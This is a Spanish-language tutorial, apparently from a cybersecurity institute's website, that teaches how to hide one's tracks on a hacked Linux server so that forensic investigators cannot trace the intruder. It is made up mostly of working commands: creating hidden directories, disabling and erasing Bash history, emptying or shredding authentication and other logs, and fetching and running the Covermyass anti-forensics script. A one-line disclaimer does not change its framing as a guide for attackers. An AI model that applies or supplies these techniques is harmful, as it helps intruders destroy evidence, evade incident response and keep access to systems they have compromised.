Cómo limpiar los registros y el historial de Bash en servidores Linux hackeados. Cubra sus huellas para que los expertos en forense digital no puedan atraparlo

Una de las principales habilidades que debe tener un hacker es saber ocultar su rastro para evitar que los investigadores o expertos en ciberseguridad y forense digital puedan detectar su identidad. Estas técnicas se vuelven mucho más importantes en caso de que los cibercriminales deseen acceder a un sistema comprometido en el futuro.

En esta ocasión, los expertos en ciberseguridad y forense digital del Instituto Internacional de Seguridad Cibernética (IICS) mostrarán algunos conceptos básicos para esta actividad, incluyendo eliminación de historial Bash y borrado de registros en sistemas Linux.

Antes de continuar, le recordamos que este artículo fue elaborado con fines informativos y no debe ser tomado como un llamado a la acción, por lo que IICS no es responsable del mal uso que pueda darse a la información aquí contenida.

Comprometer el objetivo

Aunque suene obvio, debemos recordar que el primer paso es el ataque al objetivo. En este ejemplo, los expertos en ciberseguridad y forense digital explotan un procesamiento incorrecto de comandos en el sistema objetivo para inyectar comandos arbitrarios y obtener un shell, el cual deberá ser actualizado para ser completamente interactivo.

Este procedimiento simplificará enormemente el trabajo. Después de eso, podemos realizar una escalada de privilegios para aprovechar al máximo las ventajas del sistema afectado.

Crear un directorio oculto fácilmente extraíble

Después de obtener acceso root, es posible crear un directorio oculto para trabajar y almacenar cualquier script o archivo en él, mencionan los expertos en ciberseguridad y forense digital.

Por un lado, estas acciones pueden pasar desapercibidas para los administradores de sistemas novatos, por lo que en determinados escenarios se requerirán mayores habilidades. Primero, busquemos todos los directorios manipulables usando el siguiente comando:

root@target:/# find / -perm -222 -type d 2>/dev/null

/dev/shm
/var/lock
/var/lib/php5
/var/tmp
/var/www/dav
/var/www/twiki/data/Sandbox
/var/www/twiki/data/Main
/var/www/twiki/data/Know
/var/www/twiki/data/TWiki
/var/www/twiki/data/_default
/var/www/twiki/data/Trash
/var/www/twiki/pub/Sandbox
/var/www/twiki/pub/Main
/var/www/twiki/pub/Know
/var/www/twiki/pub/Know/IncorrectDllVersionW32PTH10DLL
/var/www/twiki/pub/TWiki
/var/www/twiki/pub/TWiki/TWikiDocGraphics
/var/www/twiki/pub/TWiki/TWikiTemplates
/var/www/twiki/pub/TWiki/TWikiLogos
/var/www/twiki/pub/TWiki/PreviewBackground
/var/www/twiki/pub/TWiki/FileAttachment
/var/www/twiki/pub/TWiki/WabiSabi
/var/www/twiki/pub/Trash
/var/www/twiki/pub/icn
/tmp
/tmp/.ICE-unix
/tmp/.X11-unix

Podemos usar el comando mkdir para crear un directorio oculto agregando un punto al nombre:

root@target:/# mkdir /dev/shm/.secret 

Los expertos en ciberseguridad y forense digital recomiendan configurar el comando para listar el contenido de /dev/shm. Como puede ver, no aparece nada:

root@target:/# ls -l /dev/shm/

total 0 

El directorio solo aparece cuando usamos el switch -a para listar todos los archivos y directorios:

root@target:/# ls -la /dev/shm/

total 0
drwxrwxrwt  3 root root    60 2019-06-19 13:49 .
drwxr-xr-x 13 root root 13480 2019-06-19 13:41 ..
drwxr-xr-x  2 root root    40 2019-06-19 13:49 .secret

Para eliminar un directorio después de que haya terminado de trabajar en el sistema comprometido, use el comando rmdir:

root@target:/# rmdir /dev/shm/.secret/ 

Eliminar el historial de Bash

Bash es una popular interfaz de usuario de línea de comandos capaz de mantener en la memoria una lista de los comandos utilizados en la sesión actual, por lo que estos datos son el primer objetivo a eliminar para cubrir nuestros pasos. Empleando el comando history, podremos ver los detalles de la más reciente actividad en el sistema:

root@target:/# history

    1  cd /
    2  ls
    3  find / -perm -222 -type d 2>/dev/null
    4  cd /dev/shm/
    5  cd /
    6  mkdir /dev/shm/.secret
    7  ls -l /dev/shm/
    8  ls -la /dev/shm/
    9  ls
   10  rmdir /dev/shm/.secret/
   11  history 

Los comandos se escriben en la variable de entorno HISTFILE, generalmente .bash_history. Podemos usar el comando echo para encontrar la ubicación, señalan los expertos en ciberseguridad y forense digital:

root@target:/# echo $HISTFILE
/root/.bash_history 

A continuación, usaremos el comando unset para eliminar la variable:

root@target:/# unset HISTFILE

Repitiendo de nuevo el procedimiento, vemos que no aparecen datos en el historial:

root@target:/# echo $HISTFILE

Para evitar que se guarde el historial de comandos, también puede enviarlo a /dev/null. Para hacer esto, establezca la variable:

root@target:/# HISTFILE=/dev/null

O haga lo mismo con el comando export:

root@target:/# export HISTFILE=/dev/null   

El historial ahora se enviará a /dev/null (en otras palabras, a ninguna parte):

root@target:/# echo $HISTFILE

/dev/null 

Establezca el número de comandos que persistirán durante la sesión actual en 0 usando la variable HISTSIZE:

root@target:/# HISTSIZE=0

De otro modo, puede usar el comando export:

root@target:/# export HISTSIZE=0

Cambie el número de líneas permitidas en el historial usando la variable HISTFILESIZE. Establezca este valor en 0:

root@target:/# HISTFILESIZE=0

O bien use export:

root@target:/# export HISTFILESIZE=0

Según los expertos en ciberseguridad y forense digital, puede utilizar el comando set para cambiar los parámetros del shell. Para deshabilitar la opción de historial, use el siguiente comando:

root@target:/# set +o history

Para encender el historial de nuevo:

root @ target: / # set -o history

De manera similar, puede usar el comando shopt para cambiar las opciones del shell. Para deshabilitar el historial, use el siguiente comando:

root@target:/# shopt -ou history

Encender otra vez:

root@target:/# shopt -os history

Al ejecutar comandos en el sistema objetivo, a veces es posible evitar almacenarlos en el historial ejecutando el comando con un espacio inicial:

root@target:~#  cat /etc/passwd

Este método no siempre funciona y depende del sistema. También es posible borrar el historial simplemente con el switch -c:

root@target:~# history –c

Para asegurarse de que los cambios se escriban en el disco, utilice el switch -w:

root@target:~# history –w

Estas acciones solo borrarán el historial de la sesión actual. Para asegurarse de que se borre el historial cuando cierre la sesión, los expertos en ciberseguridad y forense digital recomiendan usar el siguiente comando:

root@target:/# cat /dev/null > ~/.bash_history && history -c && exit

También puede usar el comando kill para salir de la sesión sin guardar el historial:

root@target:/# kill -9 $$

Limpiar archivos de registro

Además del historial de Bash, también necesita limpiar los registros para pasar desapercibido, señalan los expertos en ciberseguridad y forense digital. A continuación, se muestran algunos archivos de registro comunes y su contenido:

  • /var/log/auth.log – Autenticación
  • /var/log/cron.log Cron – Tareas
  • /var/log/maillog – Correo
  • /var/log/httpd – Apache

Es posible eliminar el registro usando el comando rm:

root@target:/# rm /var/log/auth.log

Este proceso es poco recomendable, ya que podría levantar sospechas. Por tanto, se recomienda dejar el archivo vacío en lugar de eliminarlo por completo; para ello, puede usar el comando truncate y reducir el tamaño del archivo a 0:

root@target:/# truncate -s 0 /var/log/auth.log

Es necesario considerar que la función truncate no siempre está presente y no en todos los sistemas.

Se puede hacer lo mismo asignando “nada” al archivo:

root@target:/# echo '' > /var/log/auth.log

Y también use > para limpiar un archivo:

root@target:/# > /var/log/auth.log

También podemos enviarlo a /dev/null:

root @ target: / # cat/dev/null>/var/log/auth.log

O use el comando tee:

root@target:/# true | tee /var/log/auth.log

También puede usar el comando dd para no escribir nada en el archivo de registro:

root@target:/# dd if=/dev/null of=/var/log/auth.log

0+0 records in
0+0 records out
0 bytes (0 B) copied, 6.1494e-05 s, 0.0 kB/s

El comando shred se puede utilizar para sobrescribir un archivo con datos binarios sin sentido:

root@target:/# shred /var/log/auth.log

Además, puede agregar -zu para truncar el archivo y sobrescribirlo con ceros:

root@target:/# shred -zu /var/log/auth.log

Usar una herramienta para ocultar posibles rastros restantes

Para minimizar la probabilidad de detección, los expertos en ciberseguridad y forense digital recomiendan el uso de un script especial. El script Covermyass, por ejemplo, automatiza los procesos descritos anteriormente, incluyendo el borrado de archivos de registro y la desactivación del historial de Bash.

Si el dispositivo objetivo tiene acceso a Internet, puede descargar el script de GitHub usando wget (de lo contrario, el script deberá transferirse manualmente):

root@target:/# wget https://raw.githubusercontent.com/sundowndev/covermyass/master/covermyass

Cambie a un directorio grabable y use chmod para hacerlo ejecutable:

root@target:/tmp# chmod +x covermyass

A continuación, ejecutemos el siguiente comando:

root@target:/tmp# ./covermyass

Welcome to Cover my ass tool !

Select an option :

1) Clear logs for user root
2) Permenently disable auth & bash history
3) Restore settings to default
99) Exit tool

>

Contamos con un mensaje personalizable con varias opciones para elegir. Elijamos el primero para borrar los registros:

> 1

[+] /var/log/messages cleaned.
[+] /var/log/auth.log cleaned.
[+] /var/log/kern.log cleaned.
[+] /var/log/wtmp cleaned.
[+] ~/.bash_history cleaned.
[+] History file deleted.

Reminder: your need to reload the session to see effects.
Type exit to do so.  

También es posible deshabilitar Bash y el historial de inicio de sesión con la opción 2:

> 2

[+] Permanently sending /var/log/auth.log to /dev/null
[+] Permanently sending bash_history to /dev/null
[+] Set HISTFILESIZE & HISTSIZE to 0
[+] Disabled history library

Permenently disabled bash log.

Si necesita borrar todo con urgencia, simplemente siga este comando:

root@target:/tmp# ./covermyass now

[+] /var/log/messages cleaned.
[+] /var/log/kern.log cleaned.
[+] /var/log/wtmp cleaned.
[+] ~/.bash_history cleaned.
[+] History file deleted.

Reminder: your need to reload the session to see effects.

Conclusión

Estos son los métodos más empleados por los hackers para ocultar sus pasos después de un ataque. La funcionalidad de estas técnicas varía dependiendo del sistema objetivo, por lo que esto en realidad es solo el primero paso en la especialización del hacker.

Para conocer más sobre riesgos de seguridad informática, malware, vulnerabilidades y tecnologías de la información, no dude en ingresar al sitio web del Instituto Internacional de Seguridad Cibernética (IICS).